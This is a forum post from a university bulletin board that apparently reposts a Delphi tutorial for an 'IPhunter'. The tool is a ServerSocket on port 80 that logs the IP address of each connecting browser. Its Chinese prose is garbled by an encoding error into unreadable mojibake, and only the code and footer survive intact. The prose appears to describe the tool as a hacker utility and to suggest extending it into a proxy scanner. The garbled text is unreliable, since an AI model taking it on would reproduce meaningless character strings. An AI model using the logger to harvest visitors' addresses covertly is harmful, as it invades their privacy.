Ê×ÏÈ£¬Õâ¸öcombobox1±ØÐëÄÜÏÔʾ¶à¸öIP,ÎÒÃǶ¨Ò»¸ö±äÁ¿yÀ´ÀÛ¼Ócombobox1.
items[y]£¬
var y:integer;
ÎÒÃǵÄ˼·ÈçÏ£¬µ±ServerSocket»î¶¯µÄport(¶Ë¿Ú£©ÊÕµ½»ùÓÚTCP/IPÐÒéµÄÁ¬½á
ÇëÇóʱºò£¬·µ»Ø¶Ô·½µÄIP
Öµ£¬´«µÝ¸øcomboboxÏÔʾ³öÀ´¡£ÓÉbutton1¿ØÖÆServerSocketµÄ¼¤»î£¬Ò²¾ÍÊÇ´ò¿ª
¹Ø±Õ¶Ë¿Ú¡£
ÎÒÃÇÔÚServerSocketµÄOn ClientConnectʼþÖмÓÈëһϴúÂë
procedure TForm1.ServerSocket11ClientConnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
combobox1.Items.Insert(y,'');//¼ÓÈëÒ»Ìõ¿Õ¼Í¼
combobox1.Items[y]:=socket.RemoteAddress;//»ñÈ¡¶Ô·½µÄIP
label1.Text:='¹²²¶»ñ'+inttostr(y+1)+'¸öIP';//ÓÃÒ»¸ö±êÇ©À´ÏÔʾһ¹²×¥Á˶à
ÉÙIP
y:=y+1;//¼ÆÊý±äÁ¿¼Ó1
socket.Close;
end;
ÏÖÔÚ£¬½«button1µÄcaptionÊôÐÔÉèÖÃΪ '¿ªÊ¼',ÔÚËüµÄµ¥»÷ʼþÖмÓÈëÒÔÏ´úÂë
procedure TForm1.SpeedButton7Click(Sender: TObject);
begin
if speedbutton7.Caption='¿ªÊ¼' then
begin
serversocket11.Port:=80;//Õâ¾ä¿ÉÒÔÔÚserversocketÊôÐÔÖÐÉ趨£¬²¶»ñä¯ÀÀÆ÷µÄ
Á¬½Ó
ServerSocket11.Active:=true;//¼¤»î¶Ë¿Ú
speedbutton7.Caption:='Í£Ö¹';
end
else
begin
serversocket11.Active:=false;//¹Ø±Õ¶Ë¿Ú
speedbutton7.Caption:='¿ªÊ¼';
combobox1.Clear;//½áÊø²¶»ñ£¬Çå¿ÕÀúÊ·ÐÅÏ¢
y:=0;//¼ÆÊý±äÁ¿¸´Î»
end;
end;
ÏÖÔÚÒ»¸öIPhunter»ù±¾¾Í¿ÉÒÔʹÓÃÁË£¬ÕâÖ»ÊǺܼòµ¥ÔÐÍ£¬¼ÓÉÏÄú×Ô¼º¾«ÐÄÖÆ×÷µÄ
½çÃ棬¾ÍÊÇÒ»¸öÍøÂç»Ò
¿Í¹¤¾ßÁË£¬Õâ¸ö¹¦ÄÜÒ²¼¯³Éµ½ÁËÁÔ¹ÈËÀïÃ棬ÕâÀï˵µ½µÄÖ»ÊÇServerSocket×î»ù±¾
µÄÒ»µã¹¦ÄܶøÒÑ£¬¼ÓÉÏ
ClientSocket¾Í¿ÉÒÔ×öÒ»¸öÁÄÌ칤¾ß£¬Ö»ÓÃClientSocket¿ÉÒÔ×öÒ»¸öºÍ´úÀíÁÔÊÖÒ»
ÑùµÄɨÃèÈí¼þ¡£
ºÚ°×µÀ - 21Road.com ΪÄúËѼ¯Ò»ÇÐ !
--
I Believe I can Fly!
I Believe I can Touch The Sky!
<@>
|
^\ | /^
\|/
¡ù À´Ô´:¡¤¹þ¹¤´ó×϶¡Ïã bbs.hit.edu.cn¡¤[FROM: 202.118.170.152]
Powered by KBS BBS 2.0 (http://dev.kcn.cn)
Ò³ÃæÖ´ÐÐʱ¼ä£º214.989ºÁÃë